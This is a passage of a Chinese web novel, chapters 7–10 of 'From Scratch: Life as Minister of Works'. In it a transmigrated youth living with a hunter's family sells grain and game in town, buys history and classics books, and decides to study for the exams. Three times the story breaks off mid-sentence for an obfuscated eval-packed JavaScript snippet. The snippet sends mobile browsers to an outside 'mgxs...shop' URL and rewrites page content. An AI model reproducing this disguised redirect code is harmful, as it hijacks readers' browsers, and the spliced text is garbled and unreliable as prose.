《从零开始的工部尚书生活》 7. 乡宁镇 林山让林青峰烧的温水是用来浸泡初步处理过的皮毛的。 林青峰打了一盆温水端到了院中,林山将两块完整的兽皮泡在了里面,皮毛内部皮板上附着的一些油脂油末已经刮干净了,现在只是将皮毛上沾染的污渍清洗干净而已。 林山拿了一块皂角过来,削了一点在碗里,兑了一碗皂角水倒在了盆中。 两人蹲在盆旁边,细细地将皮毛上的污渍一点点搓干净了。清洗好了之后,再将皮毛绷在木板上,等着明天白天拿出去晒干。 第二天早上,林山将几个上面绷了皮子的木板拿出来放在院子里晒。就这么一连过了几日,皮子里里外外都晒的松软了便可以开始下一步的处理了。 期间林山和林青峰又上山了一趟,那日改的竹笼的确管用,如今正是山里动物囤积粮食的时候。林山下的六个笼子里,原本放了山雀的那一个里面关了一只吱吱乱叫的野貂。 林山高兴地连着笼子带了回来,打算过几日去镇上卖皮子时问问相熟的管事收不收活貂。 今天本是打算将家里晒好的兔皮硝制一下,将它处理好。但刚晒好皮子,家里的院门就被人敲响了。 林青峰前去开门,来人是一位穿着简单的少年,看着和林雪差不多大。他耳垂上有一颗鲜红的痣。 经过这么多天的了解,林青峰知道那应当就是哥儿痣,林雪的眼角也有一颗,只是没有那么红。 来人也没想到开门的会是林青峰,他有些尴尬地说,“啊,我找林叔……你应当就是林青峰吧,我听小雪提起过。” 林青峰点点头,“你好。”这位应该就是林雪最近常去找的小花了。 田小花有些手足无措,他背地里敢缠着林雪问人家好不好看,当了面却什么话也说不出来 林青峰看出了对方的不自在,先一步放开院门,“先进来坐吧,林叔在屋里,我去喊他。” 田小花来过林雪家好多次了,现在他家突然多了个汉子,到是令田小花有些局促不安。 他在院子里站了没一会,林山掀开门帘出来了,“是小花啊,有什么事吗?” 田小花说,“今天我家要去镇上卖粮,爹爹让我来问你有没有空一块去。” 林山说,“有空,你先过去吧,我换件衣服就去。” 田小花应了一声就回去了。 林山一边往屋里走一边问林青峰,“小峰去不去?去的话就换件灰色的外衫。” 左右在家里呆着也没事情可干,林青峰就换了衣服和林山一块去了田家。 既然要去镇子上,林山就让林青峰将家中养的几只野兔野鸡都捆了装背篓里,一块带着去镇上卖了。 两人到了田家,他家门口停了一辆牛板车,车上已经放了几袋粮食,田大家的扛着另一袋粮食从门里出来。 看见林山过来了,田大赶忙将肩上的粮食放在了牛板车上面,招呼道,“林大哥,来了啊。今年村里收成好,也能多卖点粮了。你家的粮我都给你留好了,等晚上回来了正好用这板车给你送过去。” 林山摆摆手,“那个不急,还有多少袋?” 田大说,“我家还有十五袋,我弟家有四十袋。” 今年收成很好,他们家一亩地差不多收了两石多的粮食,三十亩地收了七十石左右。今年交的粮食税每满一石还会退一斗,他家交的粮食税也比以前少些,所以余下了不少的粮食。 林青峰跟着林山和田大两人把要送到镇上卖的粮食都一袋一袋的搬到牛车上,如今他的身体素质相较以前变得更好了,一袋五十斤左右的粮食搬起来也不算吃力。 要知道,他现在的身体大约才十五六岁,跟着这么搬了十来趟粮食也就是气喘了些,并不特别累。 田大一边搬粮食,一边和林山侃天,“今年村里人收成都不错,我昨天和小花他娘算了半天,估摸着今年能卖二两银子左右。” 林山:“那还挺好的,前两年村里发了旱灾,大家都不好过,今年能多赚些也好。” 田大家里是种地的,对旱灾的感受比林山深多了,“不止我们村,我听人说咱们州还有西面那个州,都受了旱灾。” “说起来,我们家幸好有你救济着,不然还不知道怎么才能熬过来呢。” 那段时间,家家户户余粮都吃的差不多了,都开始上山里找东西吃,但深山里有狼,林山刚开始就劝村里人不要往深山里去,但还是有饿急了的偷偷去了深山里。 后来村里的一个懒汉被发现死在了深山里,就没人敢再进山了——留在村里虽然饿,但勉强也能活下去,被山里的野狼吃了就什么都没了。 那会,田大家人口多,田大夫妻两个,两个孩子,还有两个老人,就算是村里发的救济粮也不够吃的。若不是隔断时间林山就救济他家一点吃的,他家的老人怕是很难熬过来。 听到田大提起往事,林山面上也浮现了一些感慨,“都说远亲不如近邻,你家里人多,我能帮一把自然是要帮一把的。” 田大笑道,“现在日子都好过了。”说着,他看了一眼帮忙的林青峰,小声和林山聊天,“这就是你家里新来的小子?看着也好,结实能干,以后也能继承你的手艺。” 林山莞尔,“只要他日后能照看下小雪就够了,继承不继承什么的也不打紧,他会认字,不知道以后要不要念书。” 田大惊讶地又转头看了一眼林青峰,“还是个会认字的!可我听说那些个夫子一年束修就要二两银子,送他去念书花费是不是太大了。” 而且念书的话,说不准多少年才有个出头之日,林山带回来一个继承手艺的小子还好说,可要是送去念书怕是很多人都觉得林山疯了。 一般人家脸自家孩子都舍不得花那个钱去念书,更何况是花钱给别人家孩子念书。 林山含糊道,“还不一定呢,小峰挺懂事的,要是他想念,两三年差不多我是供得起的,多了就不行了。” 田大听懂了他的意思,要是林青峰想念就供个两三年,多了就不供了,免得孩子心里有芥蒂。 林山确实也是这么想的,林青峰虽然不记得以前的事了,但一看就是家境富裕人家的孩子,若是以后想起来,后悔单单留在他家耽误了念书的年龄就不好了。 如今自己有钱就供他读几年,时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14425456|153692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长了供不起也是没办法的事。 两人一边聊着,一边将要卖的粮食都搬到了车上,又在田大家歇了几分钟,便赶着牛车往镇上去。 走在路上,田大没忍住和林青峰搭话道,“小峰,你觉得种地打猎累吗?” 林青峰虽然不知道他为什么突然这么问,但还是回答说,“能赚到饭吃就不累。” 田大一愣,“不愧是念过书的人,说的话就是有道理。” 林青峰看了田大一眼,没接话。 他刚刚也听到了田大和林青峰聊起旱灾时日子的感概,知道田大时担心自己觉得留在这里累就跑了。 与其在这时长篇大论地表忠心,不如好好和林山一起把一家人的日子过好,说不如做。 三人赶着牛车到了镇子上,林青峰还是第一次来乡宁镇。 乡宁镇是传统的四四方方的城镇,青石围成了低矮的护墙,镇子的石制大门上刻着“乡宁镇”三个字,城门口有士兵在检查登记往来的人员。 田大他们赶着牛车到镇子门口排队,这个月衙门里的粮官陆续地到各个村子里收了今年的粮税,交完粮税后大家都赶着牛车骡车来镇上卖余粮。 他们三人来的不算早,排了差不多一刻钟的时间才排到门口。 领头的士兵看了一眼田大牛车上的粮食,问道,“那个村子的?是不是来卖粮?” 田大忙掏出两文钱的入城费递过去,“小人是平阳村的,家里粮税交完了来镇上卖点余粮。” 领头的士兵略略地检查了一下牛车上的粮食,收了入城费,“平阳村的确刚收过粮税……进去吧,牛车只能留在城西,注意不要赶着车乱跑。” 田大赶着牛车进去,顺着城门旁的小路往城西的粮铺赶去。 一路上田大看到有不少人都赶着车来卖粮,他不免得有些担忧,“我昨天听人说今年粮价是十二文,这么多人来卖,怕不是要跌啊。” 林山:“应当不会,这才过了一天,不会跌的。” 田大跑了镇里的两家粮铺,发现粮价确实没跌,他不免松了一口气:难得今年收成不错,他还等着卖了粮食给家里的儿子哥儿都买些布料做新衣裳呢。 田大家最终选了往年常来的一家粮铺,赶着牛车进去时,听到了搬粮食的伙计在讨论粮食降价的事。 一人在对旁人嘱咐,叫他送个信回去,让家里人尽快把粮食运来卖掉,今年各地收成都不错,再过几天保不准粮食就要降价了。 田大听了一耳朵,没忍住拉着要走的那个伙计问道,“小兄弟,你说粮食快要降价了,可是真的?” 那个伙计被他拉住,脸色一变,忙抬头看了一眼掌柜的方向,发现掌柜的并没注意到这边,才将袖子扯回来,不自在地说,“去去去,我没说这话,你要卖粮就赶紧去,莫要问东问西的。” 田大被挣脱了也不恼,只事担忧地和林山说,“粮价要跌怕是真的了,等回去要和村里人都说一声,要早点来卖粮……哦对了,还有老二媳妇的婆家那边,他们村今天刚去交粮税。” 林山赞同道,“是要说一声,现在先赶紧把粮食卖了吧。” 8. 镇上采购 田大今天带到镇子上卖的粮食一共有六十袋,他家二十袋,田二家四十袋,粮商唤了伙计过来称重,一共是三十二石六斗,按照一斗粮食十二文钱来算,一共卖了三千九百一十二文。 粮铺掌柜的给田大数了九百一十二文并三两银子,其中,因为田大家的粮食装的更实诚些,他家的二十袋卖了一千四百二十文,田二家的四十袋卖了两千四百九十二文。 卖完了粮,三人赶着牛车去城西找了家看牛车的棚子,花了一文钱将牛车停在了这里。 田大取了寄存牛车的牌子,对林山说,“林哥,一会我去城东转转,买些布料吃食,你要不要一块去看看?” 林山摇头,“不了,今日我让小峰将家里打的山兔带来了,等会先卖了去。” “那成,你去吧,我大概申时回村,你若一起回去便还来这儿。” 告别了田大,林山带着林青峰一起去了镇上的酒楼,他对林青峰解释道,“往常我猎到活的山兔野鸡都会卖到这儿,他家价格公道,掌柜的也爽快。” 他们要去的酒楼叫筵席楼,二人背着背篓刚走到酒楼门口,酒楼前迎客的小二就认出了林山,他三步并作两步,飞快地走到了林山面前。 “前两日听闻平阳村的粮税交了,我们掌柜的就说您要来了,没想到今天才等到您。” 那小二一甩肩上搭着的汗巾,精神十足地领着林山往后厨去,“镇上那些老爷昨日还差人来问,今年的野味可到了?现下可算是等到了。” 酒楼的后厨热闹非凡,光林青峰这么一打眼望过去,就看到四个灶台正起火烧菜。 如今林青峰每日都起的很早,天刚蒙蒙亮他就起床吃早饭了,饶是如此,今早他搬了粮食也都八点多了,等走到镇上也差不多九点了,再排排队,去粮铺卖粮,算下来这会差不多能有十一点左右,正是吃午饭的时间。 后厨里一个厨子的菜正好出锅,他看见店小二带了个人进到了后厨,本想说他两句,但一抬眼看到了林青峰背着的大背篓,认出是来卖野味的。 那厨子在面前的围裙上擦了擦手,绕过摆了佐料的橱柜引着他们到了处理菜肉的空处,“可是来卖野味的?前两日掌柜的和我提过,有多少?” 林山示意林青峰将背篓放在地上,这里面是这一个月来林家捕到所有的活兔和野鸡,背篓底部铺了干草,里面的每一只都拿细草绳仔细地捆了。 厨子一只一只地点了,这里一共有十六只野兔,十只野鸡,每一只都是精神十足油光水滑。 厨子又颠了颠兔子的重量,很是满意,“你同小二的去前面领银子吧,兔皮还是给你留着?” 林山点头,“我之后若是来镇上就过来取。” 厨子说,“我这是要拿来做菜的,皮子割坏了也是没办法的啊。” “不碍事,往年都这么卖的。” 那边掌柜的得了信,早就在柜台那儿等着了,见店里的小二带着林山过来,笑眯眯地问道,“老哥近来可好?” “挺好的,对了,”林山一指林青峰“这是我家的小辈,之后说不准是他来收皮子。” 酒楼的掌柜是一个看着便和蔼可亲的中年人,他脸上常年带着笑,闻言打量了林青峰一眼,说,“好俊的小伙子,你唤什么名字?” 林青峰说,“晚辈叫林青峰。” 掌柜的笑道,“我晓得了,下次他来我定不会认错的。” 虽然这后生看着有点像读书人,但他只管店里有野味收就行了,何必管那么多呢。 要说这乡宁镇上,当猎户的肯定是不止林山一家的,可林山家的猎物个头大精神足,要是没人点餐在后厨养上半个月也依旧是活蹦乱跳的。 旁的猎户拿到镇子上卖的兔子野鸡都是蔫答答的,要不就是当天猎到当天卖的,大多剩不了一口气,也卖不到他这酒楼来。他们这筵席楼就是靠着这应季的现杀野味坐稳了乡宁镇第一酒楼的交椅。 筵席楼的掌柜姓赵,赵掌柜按后厨说的数量给林山算了猎物的钱,山兔外面卖一只六十五文,他收八十五文,野鸡外面一只一百文,他收一百二十文,这样十六只野兔,十只野鸡一共是两千二百二十文。 他给林山拿了三两银子,说道,“你上次在这里记了八百四十文的帐,加上今天的两千二百二十文,一共是三千零四十文,还是按以前的规矩,给你把这四十文记着?” 林山点头,复又说起另一件事,“还有件事,要劳烦掌柜的替我问问。前两日我在山上捉到一只活的林貂,背毛是黑的肚腹是白的,不知镇上可有人家要,若是不要我就取了皮子了。” 这也是惯例了,林山常去山里捕猎,偶尔能找到成窝的狐狸之类,好看的小崽子就留下,大的就直接杀了取皮。 筵席楼的赵掌柜收他的猎物都比旁家贵二十文,他自然也会先着筵席楼来。 赵掌柜说,“行,过两天我替你问问我们老板。” 东西卖了,刚抓到的貂也问过了,接下来该是采购的时候了。如果是普通的农家,余粮卖完后就没什么事了,男人们会给家里人买些东西,然后回家将家里各处修缮修缮,迎接新年的到来。 林山此次来镇上,一方面是陪田大来卖粮食顺便搭着牛车将家里养着的猎物卖了,另一方面就是要来镇上买药。 但现在还不急,林山抬头看了看天色,“小峰,中午想吃什么?” 林青峰今天跟着涨了不少见识,林家是猎户,林山又有本事赚钱,一个月光是捉到的活猎物就抵得上村里种地的一年的收入了,再想想家里还有那么多皮子要卖,这赚钱速度实在是令林青峰开了眼。 此时听到林山的问话,他忙说,“什么都行,我不挑食。” 林山想了想,拍板道,“那咱们去吃面。” 现在正是饭点,镇上的面摊子很是热闹,林青峰他们在面摊子前等了一会才有空位坐下。林山给他们两人每人都点了一份鸡蛋面,一整海碗的面条足够他们吃的饱饱的。 林山一边吃着面一边嘱咐林青峰,“等会若是看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14425457|153692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么要买的便和我说,今年能结余些钱。家里还有一只貂没卖呢。” 林青峰想到最近不跟着打猎的时候都没什么事干,无聊的很,就问道,“林叔,我能买两本书吗?” 林山不算惊讶,自从他知道林青峰会认字后就想过要不要送他去念书,听了林青峰说只是想买两本书,他还额外问了一句,“我听说那些读书人还需要纸笔,不然一块买些。” 林青峰:“好。” 两人吃完饭首先就去了镇上的医馆,因为林雪的病主要是气虚体虚,每年这个时候,林山都会来医馆买补虚症的药。 今年也不例外,林山熟门熟路地找了往常给林雪看病的大夫拿了两副药,补药是比寻常的风寒药贵的,一副药风寒药四十文,一副补药五十五文,一副药可以煎三次,两副药一共一百一十文。 要知道一斤猪肉也才二十文钱,寻常人家逢年过节才会割上一斤猪肉回去吃。这其实也是林山为何一直为林雪的婚事发愁的原因: 这才只是补药呢,冬天小雪病起来又是受罪又是花钱的,他自己当然是舍得给自家哥儿吃补药看病的,但放在婆婆家就不一定了。 林青峰跟着旁听了林山和大夫的聊天,大概知道了林雪主要的问题就是体虚,因为体虚所以免疫力底下,容易受寒。 买了药,林山又和林青峰去了城东的书铺。书铺所在的一条街上卖的都是笔墨纸砚等相关的东西,这里还有两座茶楼,可以说是读书氛围相当浓厚了。 街上往来的大多是身着长衫读书人或是衣着华丽的公子哥儿,林青峰和林山两人穿着灰扑扑的打褂在这条街上不免显得有些格格不入。 街上道路两旁的人们都注意道了这两个看起来不应当来到这儿的人,他们那含着打量的目光在林青峰和林山身上上下扫视着。 两人在书铺面前站定,林山第一次有了些局促,他搓了搓衣角,在书铺门口停住了脚步,对林青峰说到,“小峰,我在外面等你吧。你若是见到了喜欢的书便买下来,林叔手里还算有些积蓄,供你看书不成问题。” 林青峰一时间有些失言,他第一次如此直观地体会到了古代思想阶级的差距。 你看白身的普通农家人来到这条街上要被如此失礼的打量,难不成这条街上人人都是秀才举人高人一等吗,还是说每个走在这条街上的人都身居官位家财万贯? 这自然是不可能的,打量他们的大多是为商人世家打工的仆人罢了,甚至在林青峰看来连自己的人生都被主家掌握的他们,是不如能赚钱能打猎的林叔的。 但这些话他都说不出来,这里的人们皆是如此生活的,他贸贸然地发表长篇大论,除了会令人感到被冒犯什么也改变不了。 看着林山信任的眼神,他又想说您不用对我这么好,我也会好好照顾林雪的,又想说您这么惯着一个外人,会被人骗的。 但最终,他还是什么都没说出来,只是接过了林山递来的银子,小声说了句“我很快就出来。”便匆匆跑进了书铺。 9. 读书贵买书贵 乡宁镇的书铺不大,但内容很是丰富。林青峰在里面大略逛了一圈,就找到了他想要的书。 原本林青峰的想法只是买两本史书看看,既能打发空闲时间,又能了解一下这个世界。 但方才林山来到这条街上时的不自在点醒了他,很多事情不是你不在意他就不存在的,现在这个时代阶级几乎就是一切,倘若不自己向上走,将来遇到难以解决的突发情况,就只能听天由命了。 若是说之前,林青峰心里的想法仅仅是能在这世上安稳度日就好,报答林家的恩情,但现在这个时候,他心里有了想要争一争的念头。 林青峰在镇上的书铺里买了两本史书通略,又买了一册经文句集注。这三本书都是放置于店内显眼处的主打书,而且还都是印刷出来的,其上字迹清晰字体颇具风骨。 他挑好了书便去书铺掌柜那里付钱,那掌柜的本不以为他会买书,但他身上手上干干净净,也没有不准客人进来的道理。于是只想着好好盯着,若是他不小心损坏了书,定是要让他赔偿的。 那掌柜的没想到林青峰真的买了几本书,还都不是话本,忍不住问道,“你当真要买这三本书?这都是从京城进来的,价钱可是不便宜啊。” 林青峰点头,“当真要买。” 他方才便翻开看了,这三本书皆是出自大家之手,不是单纯的教材,而是同他原来世界中的教材解读类似,其上有不少注解。 掌柜的奇怪的看了他一眼,只觉得这人穿的不像是读书人,说话倒是想读书人,而且也比一些光读书的穷秀才更有胆气。 两本史书通略每本四百文,一册经文句集注一两银子,三本书便要一两银子并八百文了。好在经文句集注是成册卖的,一册共三本,这么算下来要比史书通略便宜一些。 林青峰将方才林山给他的银子掏了出来,付了钱后,那掌柜的突兀说道,“我这店里也收抄录书,你手里的经文句集注抄录一本我可以收一百五十文,史书通略是不收的。” 林青峰想了想,接受了掌柜的善意,他温和地说,“多谢,若是有暇我会抄的。” 掌柜的将林青峰买的几本书用油纸包好,看着这个年轻的小伙子抱着书跑向外面等着他的人身边,他心不在焉地摇着扇子,不知道以后会不会再镇上的乡学里看到他。 买完了书还需要笔墨纸砚,林青峰觉得这些都是消耗品,样样只捡最便宜的买。 林山倒是说要给林青峰买些好用的纸笔,被林青峰拒绝了。文具不在精,能用就好,况且他目前还不会毛笔字,买了好的纸怕是要浪费了。 一根最便宜的竹杆毛笔十五文,一刀普通的宣纸二十文,一块本地产的粗墨并一方圆砚台六十五文。 买完了这些东西,林青峰不由得感慨难怪古代人都说读书贵,这放在普通人家怕是要倾家荡产才能供一个孩子读书。 这可不就是倾家荡产吗,光是买读书用的笔纸和书就要了快二两银子。而村里的田大家辛辛苦苦种了一年的粮食也不过才卖了三两银子左右,要是再算上平日里家里的开销,给夫子送的束脩,一年下来甚至要倒贴钱。 其实倒贴钱倒是不至于,寒门子弟一般不会买印刷好的书籍,他们通常都是和书铺抵了押金,借自己将想要的书回去抄。 这样算下来,一本书只需要花上二十文抄录费和一些纸墨。 东西买齐了以后,林青峰同林山两人又去了卖布料的铺子,为家里人买了几块做衣服的布料,又买了些糖和红枣等吃食。 乡宁镇虽然只是一个府县下方的小镇子,但全都步行走遍半座小镇采买东西也花了不少时间,等到赶回城西时正看到田大坐在牛车上等他们。 “等久了吧?”林山打招呼道。 田大将牛车从棚子里赶出来,招呼两人上车,“嗨,没等多久。今天买了不少东西啊?” 林山说,“你不也买了不少?” 田大嘿嘿一笑,“今年收成不错嘛,都勒着裤腰带过了两年的日子了,今年说什么也要给家里人买点好东西。” 经历了两年的旱灾,今年能够风调雨顺有一个丰收的年可过,来往镇上卖粮的人们脸上都是满满的笑意。 赶着牛车回村后,田大从家里将预备卖给林家的粮食搬了出来,一样是二十袋粮食,林家除了村里大多种的小麦之外还会买些粗粮小米来吃,这满满的二十袋粮食足够林家吃一整年的了。 搬完了粮食,林山从家里点了一两银子并四百二十文钱给田大,田大没收那零头的二十文钱,赶着牛车回去了。 今天林山在镇上买了些家里没有的蔬菜,晚饭的时候林阿爷和林雪两人一起下厨,做了不少色香味俱全的菜。 晚饭时,一家人在饭桌上说起了今年的猎物收成。 林爷爷腿脚不便,已经很久没有再上山打猎了,他大多在家里帮忙制皮子,或是修理修理林山打猎用的弓。 林爷爷问起今天的猎物,“家里的山兔和野鸡卖了多少钱?” 林山说:“和往年一样的价钱,卖了两千两百二十文。” 林爷爷回想了一下数量,“不错,家里还有些皮子,加上刚捕到的那只貂,估计能卖个四五两银子,比去年略多些。” 林山说,“过几天我去山里一趟,找找野猪。” 林青峰立刻问到,“林叔,我能跟你一块去吗?”打野猪这件事听起来就很危险,若是可以帮上忙他也想帮林山一起。 闻言林山犹豫了一会,说到,“去也成,只是你进了深山你就要时刻小心。” “我懂的,林叔。” 林山吃了两口饭,又开口说道,“小峰,不然你还是留在家里吧,我往年也是自己去的。明日我带些糖去找村长,让他找于秀才给你讲课。” 林雪惊讶地问道,“讲课?小峰哥要去读书吗?” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14425458|153692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青峰说,“我想给家里出一份力,就算打猎时我出不了什么力,打完了我也可以帮林叔搬猎物。” 林山颇有些不自在,他独自打猎已有十来年了,猎野猪虽然的确很辛苦,但也不是非得有人帮忙的才是。 最重要的是,之前林山是拿林青峰当徒弟培养的,但如今林青峰有了读书的打算,他就不好再叫人来打猎了。 林山皱着眉拒绝了,“你既已买了书,这两年就先好好读书罢了,若是想帮忙,等你大了还想的话再帮也不迟。” 但是林青峰却觉得读书不是这么读的,他向来推崇劳逸结合,更何况他一个理科生贸然去读文言文,这也不是闭门造车就能造好的。 他坚持说,“这个不急,去找于秀才前得先准备准备。我不会给林叔您拖后腿的,我一起去也能为以后打猎积累经验嘛。” 林山听了直挠头,“你若是能考上秀才,那就不用打猎了。” 林青峰说,“考上秀才也不妨碍我去打猎。” 一家人被他两吵的直头晕,好半天才捋清了两人的对话,今天林青峰不知道受什么刺激了,第一次这么坚持。 林青峰同林山又争论了两句,林爷爷拍板叫两人住嘴了。 “小峰这次就莫去了,你林叔猎野猪也不是头一回了,暂时还不用帮忙,更何况你弓还不会使,去了也确实帮不上什么。你若有心,之后猎到野猪了同你林叔一块去卖就好。” “找于秀才读书这件事,小峰你心里有数便成,我们家还算有些积蓄,就是去找夫子也是供的起的,莫要有压力。” 林青峰哑然,他今天确实有些急躁了。 来到林家,得到的无一不是关心爱护,虽然他也再努力为这个家里增添一份力量,无奈身体年龄摆在那里,光靠那一点力气也实在帮不上多少忙。结果今日光是他买书花出去的钱就占了林家一年开销的大头,他不免有些性急,想要立刻给家里帮上点忙。 林阿爷也劝道,“你林叔心里有数,而且这猎野猪也不是说猎就能猎到的,你日日都去,就没时间看书了。” 林青峰听了,心里很是酸涩,“今日我买的书花费太贵了,我都还没给家里帮上多少忙,便花了这么多钱去……” 林阿爷听了笑道,“若不是真的拿你当自家孩子,阿山会给你买书吗?既是已经买了,你好好读便是,留在家里读书,空了也能帮忙劈些柴火。” 林爷爷也说道,“你也姓林,如今也是我们家的一份子,将来考上功名了也算是我们林家出了个读书人。” 听到一家人饱含关心的劝说,林青峰只觉得眼眶湿润,他彻底地斩断了对原来世界的回忆,想要留在这个世界,留在关心他的家人身边。 昨日之事不可追,明日之事不可知。唯有今日的生活,和陪在他身边的家人是真实的。 穿越到异世界的林青峰已经不再,留在这儿的是平阳村林家的林青峰。 10. 讲故事 从这之后,林青峰就没有强求自己时刻都要帮上忙,他捋了捋自己目前的代办事项,发现正如林阿爷说的,既然有了考取功名的打算,那便要好好读书。 白天吃过早饭,他就将昨日买回来的史书通略拿出来看了。这个世界同他原来所在的世界历史大同小异,尽管纪录在史书上的国家名称都不相同,但历史发展的线性趋势是相同的。 从史书通略中提到的第一个有正规史实记载的朝代至今一共有十个朝代,各个朝代延续的时间有长有短,最长的达到了五百六十多年,而最短的才仅仅延续了九年。 书中用粗略的几句话介绍了过往的几个不同朝代之后,话锋一转,便说到了如今的应朝,应高祖是武将起家,一骑金戈铁马扫平了整个疆域上所有来犯的敌人,一统了天下四分五裂的局面。 一番对高祖的赞美之后,就转而说起了如今的皇帝。经历了两代皇帝的开疆拓土之后,如今的皇帝注重休养生息,广开科举招揽天下爱国的能人志士,他们读书人能遇到这样一位爱国爱民的明君何其幸甚啊。 两本史书,一半在赞美如今的皇帝,四分之一在赞美应高祖,剩下的四分之一才是记录史实的内容。林青峰跳着将史书粗略地看了一遍,只觉得这书里华而不实的赞美太多了,他几乎是要从字里行间细细地找,才能透过那长篇大论的修饰辞藻中找到有关历史的正文。 看完了这一本,林青峰又拿过买的经文句集注,里面大多讲的是各种哲学思考与名家诗文,林青峰只看了一会便觉得头疼:何必拿文言文来为难一个理科生。 本来林青峰想着,至少得读过两本书,肚子里有了些墨水才好去请教村里的于秀才吧。但今天这一上午的书看下来,他发现,自己迫切地需要一个科举考试的引路人。 因为光看这些完全不懂要考什么啊,作为一个深深掌握应试教育精髓的现代人,怎么能连考纲都不懂就抱着书硬读呢。 只是听说于秀才不住在村里,他平日里都在镇上的乡学里读书,每个月末才会回来。 中午的时候,一家人在一起简单地吃了顿午饭,便各自开始忙活去了。林爷爷冲着坐在院子里看书的林青峰说了一句,就出门去找村长闲聊去了。 林青峰在墙角下找了块平整的瓦片,又从水缸里打了一碗水,拿着毛笔打算先在瓦片上练练手,免得浪费了买来的宣纸。这几天阳光正好,用水在瓦片上写字很快就能干了。 鲁迅曾经说过,毛笔字写的好的钢笔字定然也不差,但钢笔字写的好的毛笔字不一定能写好。 许久没动笔写过字了,莫说是毛笔字,就是钢笔字他现在也不一定能写好。 林青峰将买来的书摊开放在一边,照着书上的内容用毛笔沾水在瓦片上写字,瓦片上写满了就拿布擦擦,放在一旁晾着,回去继续去读书上那晦涩难懂的文言文。 正写着,一个人影出现在石桌旁,林青峰抬眼一看,是拿着针线的林雪。 林雪有些不好意思,但家里除了他两就没别人了,他实在不想一个人呆着,“我能坐在这里吗?” “当然。”林青峰将自己的书朝旁边拿拿,给林雪让了一些放东西的空间。 林雪看了一会林青峰写字,疑惑地问道,“你为什么要在瓦片上写字?” “因为许久没写了,担心写坏了浪费纸。” “奥。”林雪应了一声,没再说话。 林青峰写了一会,突然说道,“对不起。” 林雪:? “做什么突然说对不起?” 林青峰皱着眉,将自己带入到对方的立场,“一个陌生人突然住到了家里,吃家里的用家里的,还要花钱去读一个不知道能不能读成的书,你不生气吗?” 林雪也才十五岁哎,再怎么懂事也还是个孩子吧,一定会觉得委屈的吧。自诩为靠谱的成年人的林青峰如此想到。 林雪心里冒了个问号,我生气的话难道你就会离开吗,你不是无处可去的吗? 但他还是保持了一个哥儿的礼貌,安慰道,“虽然有一点吧,但你住在家里也是帮了不少忙的。” “先前去山上打猎的时候,你会帮爹爹背背篓,去镇上的时候,你也会有帮爹爹搬东西,昨天也是主动说要去帮忙猎野猪的。” “我身体不好,平时几乎帮不了爹爹什么,你能搭把手我还是很开心的。” 林雪垂着双眼,想到了今天爷爷背着手说要去找村长聊天的画面,“而且,爷爷已经很久没有去村长家了。” “因为以前村里有一个光棍,他会挑爹爹和爷爷都不在的时候来敲家里的门,我不敢出去,就躲在屋里等爹爹回来。后来有一次被爷爷撞见了,爷爷生气地打了他一顿,从那之后爷爷就不去村长家喝酒了。” 林青峰想到方才林爷爷背着手悠闲地说要出门转转的样子,眼神软和下来,他察觉到林雪回忆起从前情绪有些低落,就岔开了话题。 “你这会儿要做针线活,我给你讲讲今天书上看到的东西可好?不耽误你做衣裳。” 林雪一愣,他有些犹豫,一方面他确实有些好奇考功名的那些书上写的什么,一方面他又觉得这样似乎不好。 “不会耽误你吗?我听小花说那些先生读书时都是不能有人打扰的。” 林青峰揶揄地看向他,“你不是已经过来了吗?” 林雪脸红红的,捏着布料的手不由自主地用上了力气,“我那是……” 见林雪有些尴尬,林青峰就不再提这个话题,他捡了史书里一段应高祖年轻时的趣事讲给了林雪听。 林雪听的津津有味,他从前从未听过这些,史书上那些美化夸张的描写在他看来就像神话故事一般惊心动魄。 此前他听到最多的是八卦小能手田小花给他讲的村里村外的八卦,里面不免还会涉及到他们家,听着听着就不想听了。他从未想过,那些像皇帝这般的大人物能将生活过的如此精彩,就好像老天爷都在给他开后门一般。 林青峰没想到只是想岔开话题讲的历史故事能引起林雪这么大的兴趣,有兴趣是好事。正好可以借着这些史实开拓一下眼界。 于是林青峰白日便在家里看书,再将书里的内容讲给林雪听。讲累了的时候,他俩就分开各自做各自的 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林山心情愉快地说起他抓野猪时的情况,“嗨,我当时就想着我就抓那只小的就够了,谁想到那大野猪愣是不走,我在树上腿都蹲麻了才等到他走。” 林雪忧心忡忡地来回检查林山身上有没有伤,闻言松了一口气,“还好它没有过来,爹!下次要更小心些啊。” “哎,晓得晓得。今年村里收成好,咱家收成也好,哈哈哈。” 林山今天是真的高兴,没费多少力气就抓了一只活的野猪崽,再加上那三只还没卖出去的貂,今年真是一个丰收年啊。 “家里那三只貂起码能卖六两银子,再加上皮子也还都没出,我想着,今年这只猪崽就不卖了,等年上咱把它宰了自己家吃。” “都听爹的。” 